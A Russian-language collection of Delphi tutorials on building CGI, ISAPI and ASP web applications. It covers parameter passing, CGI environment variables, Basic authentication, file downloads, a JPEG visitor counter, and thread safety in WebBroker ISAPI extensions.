
Далее, еще проще. Организуем вывод кода HTML с помощью команды writeln.

writeln ('CONTENT-TYPE: TEXT/HTML');
writeln;
writeln ('<html>');
writeln ('<head>');
writeln ('<meta HTTP-EQUIV="Content-Type" Content="text-html; charset=windows-1251">');
writeln ('<title>Delphi the best facility for making web-publications!</title>');
writeln ('</head>');
writeln ('<body bgcolor="white">');
writeln ('Hello, world!');
writeln ('</body>');
writeln ('</html>');

Обратите внимание на строку CONTENT-TYPE: TEXT/HTML, которая определяет описание последующего содержимого, а именно кода HTML. После CONTENT-TYPE: TEXT/HTML, необходимо вывести пустую строку иначе броузер может выдать сообщение об ошибке.

Теперь, когда приложение закончено, осталось его скомпилировать и проверить. Для проверки работоспособности программы вам понадобиться веб-сервер. Можно особо не утруждаться, подойдет любой, даже стандартный домашний веб-сервер от Microsoft. Приложение надо будет разместить в папке публикаций сервера (обычно это - C:\Inetpub\ wwwroot) и запустить сам сервер. Теперь, если вы перейдете по адресу http://localhost/primer.exe в броузере, вы должны увидеть результат действия данной программы - строку Hello, world! Вот и всё, простейшее web-приложение на Delphi готово.

Передача параметров

На самом деле нам бы вряд ли понадобилось Delphi, для создания подобных программ. Конечно, можно генерировать страницы исходя из различных условий, но вопрос в том, как данные условия передать программе. И здесь оказывается не всё так сложно, достаточно вспомнить передачу параметров приложению с помощью командной строки и поступить соответствующе. Хотя это разумеется хитрость. Это для приложения Delphi, мы оперируем командной строкой, для пользователя же это адресная строка в броузере, то есть url.

>Попробуем на примере. Необходимо создать приложение, которое выдает различную информацию (к примеру, время, дату или то и другое вместе) в зависимости от параметров указанных в адресной строке броузера. Как известно, за данные в параметрах отвечают такие функции как ParamCount и ParamStr. Их то мы и будем использовать.

program CgiDate;

{$APPTYPE CONSOLE}

uses SysUtils;

begin
  writeln('CONTENT-TYPE: TEXT/HTML');
  writeln;
  writeln('<HTML><HEAD>');
  writeln('<TITLE>Cgidate</TITLE>');
  writeln('</HEAD><BODY>>');
  writeln('<H1>Пример передачи параметров</H1>');
  writeln('<HR>');
  writeln('<H4>');

  if ParamCount > 0 then
    begin
      if ParamStr(1) = 'date' then
        writeln(FormatDateTime('"Сегодня " dddd, mmmm d, yyyy', Now))
      else if ParamStr(1) = 'time' then
        writeln(FormatDateTime('"Время" hh:mm:ss AM/PM', Now))
      else if ParamStr(1) = 'both' then
        writeln(FormatDateTime('"Сегодня " dddd, mmmm d, yyyy,'
          + '"<p> и время" hh:mm:ss AM/PM', Now))
      else
        writeln('Ошибка! Неверный параметр: ' + ParamStr(1) + '.')
    end
  else
    writeln('Параметр отсутствует.');
  writeln('</BODY></HTML>');
end.

Не правда ли просто? Теперь, если в адресной строке броузера вы наберете, например http://localhost/cgidate/exe?time, будет сгенерирована страница отображающая текущее время, http://localhost/cgidate/exe?date - соответственно дата, а при передачи параметра both - текущая дата и время. В случае если никакой из параметров передан не был или он был ошибочен - возникнет сообщение об этом.

Данные адреса и параметры можно непосредственно указать в коде HTML и генерировать необходимые изменения на странице либо другие страницы переходя по соответствующим ссылкам.

Следует обратить внимание на то, как передавать данные через url. Знак вопроса отделяет параметр от адреса файла, с помощью знака равенства web-приложению передается значение данного параметра. Так как в адресной строке нельзя использовать пробел, он заменяется на шестнадцатеричный код в таблице ASCII, то есть %20.

Но на самом деле, если некие данные передаться от пользователя web-приложению, то обычно для этого используют формы, а не url (хотя одно другому не мешает). Попробуем и мы создать приложение, которое бы получала данные от пользователя, занесенные им в форму.

Для начала естественно нужно создать сам код HTML в котором бы присутствовала форма с полями ввода, кнопкой отправки и прочими необходимыми атрибутами. При этом form action должен содержать адрес программы, которая будет получать данные. Значение method может быть равно как GET, так и POST. На самом деле GET - это и есть передача параметров через url, добавляя их к адресной строке, так как POST передает их приложению посредством стандартного потока ввода. Какой из них лучше и удобней решать вам, но чаще всего метод GET использует именно для генерации страниц (достаточно взглянуть на url который возникает при работе на поисковых серверах), так как второй для передачи данных, отображать которые в адресной строке было бы весьма накладно.

Затем необходимо создать приложение, которое бы адекватно смогло воспринять все эти данные со стороны пользователя. В случае если данные передавались с помощью метода GET проблем не будет - можно действовать как в предыдущем примере. Если же приложение получает данные от пользователя с помощью POST, всё несколько иначе.

Необходимо будет считывать данные из переменной окружения, а для этого мы естественно должны знать данные переменные.

Гюльчитай, открой личико

Нет в мире тайн. Особенно их мало у пользователя от web-приложения. И если мы не знаем о пользователе кое-что личное, все прочее, броузеры с легкостью отдают web-серверу, нисколько не заботясь о приватности и желаниях того самого пользователя. Это конечно не хорошо для пользователя, но хорошо для разработчика web-приложения, поскольку для него знания - великая вещь.

Итак, данные от пользователя web-приложению, можно передать через переменные окружения. Вот список наиболее часто употребляемых:

GATEWAY_INTERFACE
Поддерживаемая версия CGI.

REQUEST_METHOD
Метод запроса, может быть как GET так и POST.

HTTP_REFERER
Адрес страницы (url), активирующей текущее приложение на web-сервере.

PATH_INFO
Путь переданный приложению расположенный между именем приложения и строкой запроса.

QUERY_STRING
Строка запроса, если метод - GET, добавляеться к url.

REMOTE_HOST
Имя хоста удаленного пользователя.

REMOTE_USER
Имя удаленного пользователя.

REMOTE_IDENT
IP-адрес удаленного пользователя.

HTTP_USER_AGENT
Имя и версия броузера удаленного пользователя.

С помощью данных переменных можно получить исчерпывающею информацию о пользователе и передаваемых данных для верного проектирования вашего web-приложения. Конечно, этого хватит в том случае, если вы не собираетесь подобно Большому Брату следить за каждым телодвижением пользователя.

Но вернемся к поставленной задаче - передаче данных приложению от пользователя через форму. Данные, которые передаться через QUERY_STRING в приложение с помощью метода POST достаточно просто извлечь для использования.

Ниже листинг программы, выдающий список некоторых переменных окружения и их значения. Узнайте кое-что о своем броузере и web-сервере.

program CgiVars;

{$APPTYPE CONSOLE}

uses
  Windows;

сonst
VarList: array[1..17] of string[30] =
('SERVER_NAME', 'SERVER_PROTOCOL',
  'SERVER_PORT', 'SERVER_SOFTWARE',
  'GATEWAY_INTERFACE', 'REQUEST_METHOD',
  'PATH_TRANSLATED', 'HTTP_REFERER',
  'SCRIPT_NAME', 'PATH_INFO',
  'QUERY_STRING', 'HTTP_ACCEPT',
  'REMOTE_HOST', 'REMOTE_USER',
  'REMOTE_ADDR', 'REMOTE_IDENT',
  'HTTP_USER_AGENT');

var
  I: Integer;
  ReqVar: string;
  VarValue: array[0..200] of Char;

begin
  writeln('Content type: text/html');
  writeln;
  writeln('<HTML><HEAD>');
  writeln('<TITLE>CGI Variables</TITLE>');
  writeln('</HEAD><BODY>');
  writeln('<H1>CGI Variables</H1>');
  writeln('<HR><PRE>');

  for I := Low(VarList) to High(VarList) do
    begin
      ReqVar := VarList[I];
      if (GetEnvironmentVariable(PChar(ReqVar),
        VarValue, 200) > 0) then
      else
        VarValue := '';
      writeln(VarList[I] + ' = ' + VarValue);
    end;
  writeln('</PRE></BODY></HTML>');
end.

За кадром

В этой статье мы не коснулись другой и уж наверняка более обширной и сложной темы, как создание ISAPI-приложений на Delphi. Вышеприведенные способы создания приложений годны лишь в том случае, если вам необходимо быстрое, компактное и не слишком сложное web-приложение. Если же вам необходим, к примеру, доступ к базам данным, то подобный путь неприемлем.

Для создания полномасштабных приложений для интернета, в Delphi существует специальный помощник - Web Server Application. С его помощью можно создать

приложение генерируемое динамические web-страницы, основанные на CGI, NSAPI или ISAPI. Единственное накладываемое ограничение - непосредственно web-сервер должен работать на базе Windows.

Одним из главных преимуществ создания подобных приложений именно в среде Delphi является то, что вы продолжаете работать с визуальными компонентами - это значительно проще, чем создание приложений в других средах - возможность ошибки в больших проектах, где используется визуальное проектирование меньше, чем в тех, где всё описывается исключительно кодом. Кроме того средства создания web-приложений позволяют импортировать уже существующие приложения в интернет-среду, что согласитесь немаловажно. Пока, конечно, Delphi не обладает большим набором компонентов для web-приложений, но видимо уже следующая версия этой среды обзаведется необходимыми. Но и сейчас Delphi можно считать достаточно удобным инструментом для создания приложений взаимодействующих с интернетом.

Взято из http://forum.sources.ru


Простейшая авторизация в ISAPI/CGI приложениях

Самый простой способ защитить директорию на web сервере - это применить авторизацию. Этот пример показывает как это сделать используя только ISAPI приложение.
Совместимость: Delphi 5.x (или выше)
Исходный код:
============

- Эти две строчки заставляют браузер спросить имя пользователя и пароль:

Response.StatusCode := 401; // Запрос логина и пароля
Response.WWWAuthenticate := 'Basic realm="Delphi"'; // Заголовок

- Браузер посылает имя пользователя и пароль и мы получаем их:

Request.Authorization

- Но информация закодирована в Base64. Существует довольно много исходников, которые показывают как кодировать/декодировать в Base64. Следующая строчка возвращает декодированные данные в mAuthorization.

FBase64.DecodeData(Copy(Request.Authorization, 6,
Length(Request.Authorization)), mAuthorization);

Взято из http://forum.sources.ru


Как отправить бинарные данные из CGI приложения?

Не для кого не секрет, как просто можно получать данные различного типа из CGI приложения. Однако, иногда необходимо, чтобы данные сохранялись в виде файла с определённым именем, типа "Test.ZIP". Для этого необходимо добавить в заголовок HTTP пункт "Content-Disposition".
В Delphi для этого используется свойство CustomHeaders. В это TStrings свойство можно добавлять пункты в виде "name=value" - так как HTTP синтакс name:value здесь не используется.

Пример:

procedure TWebModule1.WebModule1CHECKSTATUSAction(Sender: TObject;
  Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
var s : TFileStream;
begin
  s := nil;
  if request.query='download' then
  try
    response.Title := 'Download Test.ZIP';
    response.CustomHeaders.Add('Content-Disposition=filename=Test.zip');
    response.ContentType := 'application/zip';
    s := TFileStream.Create(fmOpenRead+fmShareDenyNone,'Test.zip');
    response.contentstream := s;
    response.sendresponse;
  finally
    s.Free;
  end;
end;

Взято из http://forum.sources.ru


Создание CGI счётчика в Delphi 5

Создание CGI счётчика в Delphi 5
(Перевод одноимённой статьи с сайта http://homepages.borland.com/aohlsson/Articles/CounterCGI.html)
Если Вы программируете в Delphi и, хотели бы, чтобы Ваш любимый компилятор поучавствовал в создании Вашей веб-странички, то можно начать с маленькой, но довольно важной части веб-проекта - счётчика. Обычно, счётчик выглядит как кнопка на странице. В данном случае это JPEG картинка, генерируемая на лету.
Те, кто желает сразу приступить к компиляции, могут скачать исходник и, в случае возникновения каких либо вопросов, вернуться к данной статье.

Вызывается счётчик тэгом IMG примерно так:
<img src="http://ww5.borland.com/scripts/CounterCGI.exe?FileName=Article">
CGI скрипт так же может получать определённый набор параметров:
Txt e.g. "You are visitor %d today, and %d ever."
FontName e.g. "Courier"
FontColor e.g. "clGreen" or "$404040"
BackgroundColor e.g. "clYellow" or "$808080"
А вот так выглядит вызов скрипта с несколькими параметрами:
http://ww5.borland.com/scripts/CounterCGI.exe?FileName=Article&BackgroundColor=$808080&FontColor=$404040&FontName=Courier
Итак, давайте разбираться с кодом.
Начать создавать новое CGI приложение следует с выбора File | New | Web Server Application | CGI stand-alone executable. После этого Вы получите чистый Web модуль. Добавьте новый TWebActionItem в подсвеченном свойстве действий (Actions) в TWebModule, нажав на Add Item. Затем двойным щелчком на событие OnAction создайте обработчик действия.
Изображение JPEG, получается как снимок изображения с TPanel, с TMemo внитри него. Таким способом легче придать 3D вид счётчику. Для начала нам необходимо добавить следующую строку в раздел implementation:
     implementation

     uses
       ExtCtrls, StdCtrls, Controls, Forms, Graphics, JPEG;
Теперь, мы определим некоторые основные процедуры, которые будут использоваться в коде. GetPaths будет обеспечивать нас двумя жизненно важными путями. Первый путь будет указывать где хранится сам скрипт по отношению к корневой директории web сервера (т.е. относительный путь). Скорее всего это будет "scripts" или "cgi-bin" в зависимости от того, куда Вы его положите. Второй - это локальный путь в Windows. Он может выглядеть как "C:\InetPub". Для нас важны оба пути, чтобы обеспечить переносимость CGI скрипта из директории в директорию и с одного сервера на другой.

     procedure GetPaths(Request: TWebRequest; var ScriptPath, LocalPath : String);
     var
       ScriptFileName : String;
     begin
       ScriptPath := Request.ScriptName;
       ScriptFileName := ExtractFileName(ParamStr(0));
       // Убираем EXE/DLL имя, чтобы получить путь
       Delete(ScriptPath,Pos(ScriptFileName,ScriptPath)-1,Length(ScriptFileName)+1);
       // Убираем главную косую
       Delete(ScriptPath,1,1);

       LocalPath := ExtractFilePath(ParamStr(0));
       // Удаление ScriptPath даёт нам корневой путь
       Delete(LocalPath,Pos(ScriptPath,LocalPath)-1,Length(ScriptPath)+1);
     end;

Процедура SetVariable будет использоваться для инициализации нужных нам переменных.

     procedure SetVariable(var S : String; const Value, Default : String);
     begin
       S := Value;
       if S = '' then
         S := Default;
     end;

Вся суть CGI скрипта заключается в событие OnAction. Давайте рассмотрим его по шагам.
procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;
Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
Сперва объявим некоторые локальные переменные.

     var
       ScriptPath,
       LocalPath,
       FileName,
       Txt, FontColor,
       BackgroundColor,
       FontName,
       FontSize        : String;
       Today, LastEver,
       Ever, LastToday : Integer;
       LastDate        : TDate;
       MS              : TMemoryStream;
       Panel           : TPanel;
       Memo            : TMemo;
       Bitmap          : TBitmap;
       Form            : TForm;
       fp              : TextFile;

Теперь вызовем GetPaths, чтобы выяснить путь к скрипту, а так же локальный путь. В данном примере мы будем помещать наши счётчики в директорию "counters". Физический путь будет выглядеть примерно так "C:\InetPub\counters".

     begin
       GetPaths(Request,ScriptPath,LocalPath);
       LocalPath := LocalPath+'counters\';

Затем, мы получаем все параметры, переданные вместе с вызовом скрипта. Параметры поступают к нам через свойство Request.QueryFields. Обратите внимание, что если какой-то параметр не был передан, то SetVariable устанавливает его по умолчанию.

       with Request.QueryFields do begin
         FileName := LocalPath+Values['FileName']+'.txt';
         SetVariable(Txt,Values['Txt'],'You are visitor %d today, and %d ever.');
         SetVariable(FontName,Values['FontName'],'Arial');
         SetVariable(FontSize,Values['FontSize'],'10');
         SetVariable(FontColor,Values['FontColor'],'clWhite');
         SetVariable(BackgroundColor,Values['BackgroundColor'],'clBlack');
       end;

Теперь мы должны быть уверены, что присутствует файл для данного счётчика. Если его нет, то просто создаём его.

       try
         // Write a new empty counter file if it doesn't exist
         if not FileExists(FileName) then begin
           AssignFile(fp,FileName);
           Rewrite(fp);
           WriteLn(fp,0);
           WriteLn(fp,Date);
           WriteLn(fp,0);
           CloseFile(fp);
         end;

Итак, файл существует. Естевственно, если мы создали его, что счётчик будет равен 0, иначе будем считывать старые значения, и зменять их, если необходимо. Обратите внимание , на то, как мы отслеживаем общее число посещение и посещений за день.

         // Читаем старые значения счётчика
         AssignFile(fp,FileName);
         Reset(fp);
         ReadLn(fp,LastEver);
         Ever := LastEver+1;
         ReadLn(fp,LastDate);
         ReadLn(fp,LastToday);
         if Date = LastDate then
           Today := LastToday+1
         else
           Today := 1;
         CloseFile(fp);

И в заключении, надо записать новые значения в файл, содержащий данные счётчика.

         // Записываем новые значения счётчика
         AssignFile(fp,FileName);
         Rewrite(fp);
         WriteLn(fp,Ever);
         WriteLn(fp,Date);
         WriteLn(fp,Today);
         CloseFile(fp);

Теперь приступим к созднию того, что в конечном итоге будет называться JPEG. Для начала сделаем невидимым TForm которая содержит TPanel и TMemo. Так же устанавливаем FontName и FontSize.

         Form := TForm.Create(nil);
         with Form.Font do begin
           Name := FontName;
           Size := StrToInt(FontSize);
         end;

Удостоверимся в том, что текст, который мы помещаем в memo контрол, содержит значения счётчика, считанные из файла.

         Txt := Format(Txt,[Today,Ever]);

Далее мы создаём панель. Ширина и высота будут определяться шириной текста, который мы помещаем в неё. Так же устанавливаем скашивание для 3D эффекта.

         Panel := TPanel.Create(nil);
         with Panel do begin
           BevelInner := bvRaised;
           BevelOuter := bvLowered;
           Parent := Form;
           Width := Form.Canvas.TextWidth(Txt)+9;
           Height := Form.Canvas.TextHeight(Txt)+9;
         end;

Помещаем memo в панель, и устанавливаем её ширину и высоту, а так же цвет, который указан в BackgroundColor.

         Memo := TMemo.Create(nil);
         with Memo do begin
           Top := 2;
           Left := 2;
           Width := Panel.Width-5;
           Height := Panel.Height-5;
           Alignment := taCenter;
           Color := StringToColor(BackgroundColor);
           BorderStyle := bsNone;
           Parent := Panel;
         end;

Теперь необходимо сделать изображение эелемента управления, который мы создали. Для этого создаём TBitmap и закрашеваем его панелью. За одно рисуем текст на битмапе.

         Bitmap := TBitmap.Create;
         with Bitmap do begin
           Width := Panel.Width-1;
           Height := Panel.Height-1;
           Canvas.Lock;
           Panel.PaintTo(Canvas.Handle,0,0);
           Canvas.Unlock;
           Canvas.Brush.Style := bsClear;
           with Canvas.Font do begin
             Name := FontName;
             Size := StrToInt(FontSize);
             Color := StringToColor(FontColor);
           end;
           Canvas.TextOut(4,3,Txt);
         end;

Затем преобразовываем bitmap в JPEG. JPEG будет записан в memory stream. Этот поток будет связан с браузером и передаваться посетителю странички в виде картинки.

         with Response do begin
           MS := TMemoryStream.Create;
           with TJPEGImage.Create do begin
             CompressionQuality := 75;
             Assign(Bitmap);
             SaveToStream(MS);
             Free;
           end;
           ContentType := 'image/jpeg';
           MS.Position := 0;
           SendResponse;
           SendStream(MS);
         end;

Освобождаем ресурсы.

         Panel.Free;
         Bitmap.Free;
         Form.Free;

На всякий случай обрабатываем исключительные ситуации.

       except
         on E: Exception do
           Response.Content := E.Message;
       end;
       Handled := True;
     end;

Вот собственно и всё. Наслаждайтесь счётчиком, сделанным в Delphi 5 :)


Моё CGI-приложение при обращении к нему ничего не возвращает

Вопрос: Мое CGI-приложение при обращении к нему, имеющим вид, например, http://127.0.0.1/cgi-bin/mycgi.exe ничего не возвращает. Что делать?

Установите свойство TWebAction.Default: Boolean в true для той Action из списка, которая должна по обрабатывать запросы тогда, когда это не делает ни одна из других Actions.

Взято с http://delphiworld.narod.ru


Понимание многопоточности в VCL для веб-серверных ISAPI-расширений

Автор: Andrew Kachanov (www.arisesoft.com)

В среде Delphi можно создавать высокоэффективные веб-серверные ISAPI-расширения на основе технологии WebBroker. Создайте проект с помощью мастера (New -> Web Server Application - ISAPI DLL). Прилагаемая справочная документация, а так же демонстрационный пример "$(DELPHI)\Demos\Webserv" позволяют достаточно быстро освоиться в приемах написания веб-серверных ISAPI-расширений. На выходе у вас получится обычная DLL (далее по тексту - библиотека).
Сложность заключается в том, что веб-сервер (для ускорения обработки поступающих запросов) вызывает нашу библиотеку в много-поточном режиме. В результате чего на разработчика ложиться ответственность за написание поточно-безопасного кода. Не беспокойтесь, ребята из Borland постарались упростить вам жизнь настолько, насколько это возможно. Когда я понял смысл "обертки" TWebApplication и наследника TISAPIApplication, то был восхищен, и вдохновлен поделиться этими знаниями с вами!
Согласно спецификации ISAPI-расширений, созданная библиотека имеет всего три экспортируемые функции: GetExtensionVersion, HttpExtensionProc, TerminateExtension. Нас интересует только HttpExtensionProc, через которую выполняется вся работа: получение запросов с веб-сервера (Request), обработка и обратная отправка результата (Response).
Итак, рассмотрим весь путь прохождения данных. Запрос веб-сервера поступает через экспортируемую библиотекой функцию HttpExtensionProc в TISAPIApplication через инкапсулированный метод с одноименным названием (объект Application, как и в любом VCL-приложении другого вида, присутствует всегда: создается при инициализации и разрушается при завершении приложения, однако в данном случае имеет тип TISAPIApplication):

function TISAPIApplication.HttpExtensionProc(var ECB: TEXTENSION_CONTROL_BLOCK): DWORD;
var
  HTTPRequest: TISAPIRequest;
  HTTPResponse: TISAPIResponse;
  { ^ локально объявленные переменные запроса и ответа }
begin
  try
    HTTPRequest := NewRequest(ECB);
    { ^ инициализация переменной запроса по структуре ECB, полученной от веб-сервера }
    try
      HTTPResponse := NewResponse(HTTPRequest);
      { ^ инициализация переменной ответа }
      try
        if HandleRequest(HTTPRequest, HTTPResponse) then
        { ^ обработка переходит к TWebApplication.HandleRequest }
          Result := HSE_STATUS_SUCCESS
        else Result := HSE_STATUS_ERROR;
      finally
        HTTPResponse.Free;
      end;
    finally
      HTTPRequest.Free;
    end;
  except
    HandleServerException(Exception(ExceptObject), ECB);
    Result := HSE_STATUS_ERROR;
  end;
end;

Из приведенного кода видно, что переменные HTTPRequest и HTTPResponse объявлены локально, и объекты соответствующих типов создаются для каждого поступающего запроса веб-сервера. После инициализации этих переменных обработка переходит к TWebApplication.HandleRequest:

function TWebApplication.HandleRequest(Request: TWebRequest;
  Response: TWebResponse): Boolean;
var
  DataModule: TDataModule;
  Dispatcher: TCustomWebDispatcher;
  I: Integer;
begin
  Result := False;
  DataModule := ActivateWebModule;
  { ^ назначает объект, который не используется другими потоками }
  if DataModule <> nil then
  try
    if DataModule is TCustomWebDispatcher then
      Dispatcher := TCustomWebDispatcher(DataModule)
    else with DataModule do
    begin
      Dispatcher := nil;
      for I := 0 to ComponentCount - 1 do
      begin
        if Components[I] is TCustomWebDispatcher then
        begin
          Dispatcher := TCustomWebDispatcher(Components[I]);
          Break;
        end;
      end;
    end;
    if Dispatcher <> nil then
    begin
      Result := TWebDispatcherAccess(Dispatcher).DispatchAction(Request, Response);
      { ^ обработка переходит к TWebDispatcher.DispatchAction }
      if Result and not Response.Sent then
        Response.SendResponse;
        { ^ отправка ответа веб-серверу }
    end else raise Exception.CreateRes(@sNoDispatcherComponent);
  finally
    DeactivateWebModule(DataModule);
    { ^ переводит в список неиспользуемых объектов - FInactiveWebModules }
  end;
end;

Тут следующая хитрость: локально объявленная переменная DataModule получает ссылку на объект от метода TWebApplication.ActivateWebModule. Для каждого потока предоставляется неиспользуемый в настоящее время другими потоками объект типа TDataModule, для чего выполняется перемещение этих объектов между списками FInactiveWebModules и FActiveWebModules. Если список FInactiveWebModules исчерпан, то создается новый экземпляр объекта типа TDataModule. В результате этих манипуляций для каждого потока используется собственный экземпляр объекта типа TDataModule, и разработчик может быть уверен в поточно-безопасном объявлении полей данных своего объекта TWebModule! Но это еще не все.

Локально объявленные в TISAPIApplication.HttpExtensionProc переменные HTTPRequest и HTTPResponse, о которых говорилось выше, переданы методу TWebApplication.HandleRequest в качестве параметров Request и Response, который в свою очередь передает их методу TCustomWebDispatcher.DispatchAction:

function TCustomWebDispatcher.DispatchAction(Request: TWebRequest;
  Response: TWebResponse): Boolean;
var
  I: Integer;
  Action, Default: TWebActionItem;
  Dispatch: IWebDispatch;
begin
  FRequest := Request;
  FResponse := Response;
  {...}
end;

Тут выполняется присваивание переменных Request и Response полям объекта TWebModule (как наследнику TCustomWebDispatcher). А нам уже известно, что экземпляр объекта TWebModule у каждого потока - собственный. Теперь посмотрим правде в глаза: у каждого запроса веб-сервера есть собственные экземпляры объектов TRequest и TResponse в полях TWebModule.Request и TWebModule.Response; и они поточно-безопасны.

Далее путь лежит через метод TWebActionItem.DispatchAction, который вызывается в TCustomWebDispatcher.DispatchAction. Тут может вступать в действие ваш код обработки запроса, после чего подготовленному ответу предстоит обратная дорога.

Как видно из приведенного выше фрагмента кода TWebApplication.HandleRequest - DataModule передается в качестве параметра методу TWebApplication.DeactivateWebModule, в котором может быть переведен в список FInactiveWebModules, или вовсе разрушен (если выключено свойство CacheConnections - этим не стоит пользоваться без необходимости, так как существенно снижается производительность обработки запросов). После чего обработка возвращается к TISAPIApplication.HttpExtensionProc и ответ передается веб-серверу вызовом Response.SendResponse.

Отдельно следует отметить. Мне несколько раз попадались на глаза рекомендации устанавливать глобальную переменную IsMultiThread к True в dpr-файл проекта - этого делать не нужно, т.к. в конструкторе TWebApplication эта работа уже выполняется!
Если вы используете доступ к BDE посредством наследников TBDEDataSet (TTable, TQuery, TStoredProc) то все что вам нужно сделать для обеспечения поточно-безопасности, это присвоить в конструкторе TWebModule: Session.AutoSessionName := True (подробнее смотри в справочной документации: "Managing multiple sessions").

Реализация инкапсуляции WinSock в компонентах TClientSocket и TServerSocket, которые вам могут потребоваться, так же поточно-безопасна.

Конечно, если используется файловый ввод-вывод, а так же прямые вызовы WinSock, то тогда все же нужно выполнять много-поточную защиту самостоятельно и вам все же придется прочитать раздел документации "Programming with Delphi - Using threads". :-)

Замечание: изложенное выше относится к Delphi 5.

Взято из http://forum.sources.ru


Создание Active Server Page (ASP) приложений (Статья)

Новый продукт Borland – Delphi5, который начал распространяться осенью 1999 года содержит ряд новых возможностей. В частности, к экспертам проектов была добавлена возможность создания ASP приложений. Эксперт вызывается при помощи команды File/New/ActiveX и далее выбирается икона Active Server Object. К сожалению, в текущей документации, распространяемой с Delphi 5 (Build 5.62), крайне скупо сказано о назначении, последовательности создания и тестирования ASP сервера. Примеры работающего ASP сервера также отсутствуют в дистрибутиве Delphi5. Настоящая публикация частично восполняет эти проблемы.
Клиентное приложение, работающее с ASP сервером, представляет собой HTML документ и может быть прочитано на любом WEB браузере. Соответственно, эти HTML документы размещаются на каком-либо WEB-сервере. WEB сервер, получив требование о предоставлении документа, считывает его из локального хранилища и передает клиенту, при этом часть информации вносится в документ динамически ASP сервером. Принято, чтобы расширения у документов, обращающиеся к ASP серверу, имели расширение *.asp. Примеры таких документов можно найти в директориях WINNT\SYSTEM32\INETSRV\IISADMIN и INETPUB\IISAMPLES\EXAIR если был установлен Microsoft Internet Informational Server (IIS). Типичный пример обращения к ASP серверу с HTML документа выглядит следующим образом:

<%
Set FileSystem=Server.CreateObject("Scripting.FileSystemObject")
FileSystem.FindAllFiles
%>

Данная запись представляет собой Visual Basic (VB) скрипт. Несмотря на наличие VB скрипта, страница ASP может быть доступна клиентам, работающих на других операционных системах, например UNIX. На первый взгляд это может показаться странным: ведь UNIX компьютеры не имеет языка Basic, и тем более VB. Но дело в том, что скрипты в ASP документах выполняются на сервере и клиенту приходит HTML документ.
ASP сервер обязан быть установлен на Windows NT (Windows 98) операционной системе с запущенным IIS или Microsoft Personal Web Server (PWS) и этот факт снижает возможности широкого использования ASP сервера. По существу, ASP сервер представляет собой внутреннюю разработку компании Microsoft, которая не была (да и не могла быть) согласована с фактическими законодателями дальнейшего развития Internet-технологий (Sun, Netscape). В будущем не следует ожидать продвижения этой технологии на другие платформы, поскольку при реализации ASP – серверов использовалась COM-технология, записи в системный реестр – а это эксклюзивные разработки Microsoft. Более того, другие WEB-сервера, работающие на платформе Windows (Netscape, Apache), скорее всего не будут поддерживать ASP технологию, поскольку до сих пор производители этих серверов успешно игноировали все новые разработки Microsoft в этой области.
По существу, ASP сервер представляет собой сервер OLE автомации, в котором предопределено несколько интерфейсов, среди них – IRequest и IResponse. IRequest содержит методы, вызов которых позволяют установить параметры, заполненные на клиенте – об этом будет рассказано ниже. IResponse содержит методы, вызов которых приводит к формированию HTML документа и, как финал, передача данного документа клиенту. По этим признакам ASP сервер напоминает CGI приложения и ISAPI/NSAPI dll (далее – WEB сервер приложения). Идеология выполнения методов в ASP сервере и WEB серверных приложениях также аналогична: анализируется (если требуется) запрос клиента и динамически формируется отклик. Отличие заключается в том, что WEB серверные приложения формируют целиком HTML документ, в то время как отклик ASP сервера вставляется в исходную HTML страницу. Например, если документ ASP представлен в виде:
<HTML>
<BODY>
<TITLE> Testing Delphi ASP </TITLE>
<CENTER>
<H3> You should see the results of your Delphi Active Server method below </H3>
</CENTER>
<HR>
<% Set DelphiASPObj = Server.CreateObject("ASP01.Test")
DelphiASPObj.ScriptContent
%>
<HR>
</BODY>
</HTML>
и результат выполнения метода ScriptContent возвращает строку 'First call to ASP server', то клиент, получивший данный документ, увидит следующее (рис. 1):

Рис.1 Результат выполнения запроса к простейшему ASP серверу.
То есть, отклик ASP сервера добавляется к HTML документу. В одном документе допустимо обращение к нескольким ASP серверам и результат их отклика формируется в единый документ. Этого невозможно достичь при использовании WEB приложений. Ограничение: набор ASP серверов, к которым обращаются из одного документа, обязаны быть зарегистрированы на одном IIS сервере. Нельзя обратиться по различным адресам для формирования одного HTML документа.
ASP сервер реализуется как в *.exe, так и в *.dll приложениях – это разрешается при создании сервера OLE автомации. ASP сервер, реализованный в *.exe файле, запускается один раз в ответ на запрос клиента. При использовании внутренних (in-process) ASP серверов один экземпляр DLL, загруженный в оперативную память, способен обслуживать одновременно нескольких клиентов. При этом для каждого клиента может создаваться как отдельный экземпляр COM обьекта, так и единственный экземпляр COM обьекта может обслуживать нескольких клиентов. Это зависит от выбранной модели работы в потоках (Threading Model) при заполнении диалога при выборе команды File/New/ActiveX/Active Server Object.
Рассмотрим теперь, каким образом работает ASP сервер на конкретном примере создания внутреннего (in-process) ASP сервера. Ограничимся сервером, который выполняет один запрос. Выберем команду File/New/ActiveX/ActiveX Library и нажмем кнопку OK. Будет создан новый проект, который сохраним, например, под именем ASP01. Далее, вызовем из меню команду File/New/ActiveX/Active Server Object. В появляющемся диалоге определеим имя класса, например, Test. Поскольку создается in-process сервер, параметр Instancing не играет роли, зато имеет значение параметр Threading Model. Выбор параметра Single приводит к неэффективной работе сервера – при одновременном к нему обращении нескольких клиентов, сервер выполняет запросы последовательно и если один из клиентов обращается с длительным запросом, то остальные вынуждены ожидать его окончания, даже если запросы у них короткие по времени. У них создается впечатление о зависании эксплорера и часто это приводит к попыткам прервать задачу разными методами. Выбор параметра Apartment приводит к разделению запросов клиентов по потокам, при этом для каждого клиента будет создан свой экземпляр COM обьекта – в данном примере, класса TTest. При этом при написании методов класса не требуется защиты переменных класса по потокам – клиент может свободно модифицироать их и это упрощает разработку кода приложения. Недостаток этоя модели – проект ресурсоемкий и переменные класса инициализируются на каждое обращение, что удлиняет время отклика. Этих недостатков лишена модель Free, в которых единственный экземпляр COM обьекта обслуживает нескольких клиентов. Однако, если клиенты могут изменять данные, то это требует защиты общих переменных по потокам что существенно усложняет процедуру реализации кода приложения и является потенциальным источником трудноуловимых ошибок. Как правило, эту модель используют в серверах, которые только предоставляют данные, но клиент не может их модифицировать.
Группа контролей Active Server Type позволяет выбрать назначение ASP сервера. Если сервер планируется инсталлировать на компьютере, которым управляет IIS версии 3 или 4, то следует выбрать Page Level Events Methods. С IIS5 эта опция тоже работает, но эффективнее будет работать опция Object Context. Эту же опцию необходимо выбирать, если работой ASP управляет Microsoft Transaction Server (MTS). Фактически IIS5 также управляет этим сервером при помощи MTS – оба этих продукта тесно интегрированы.
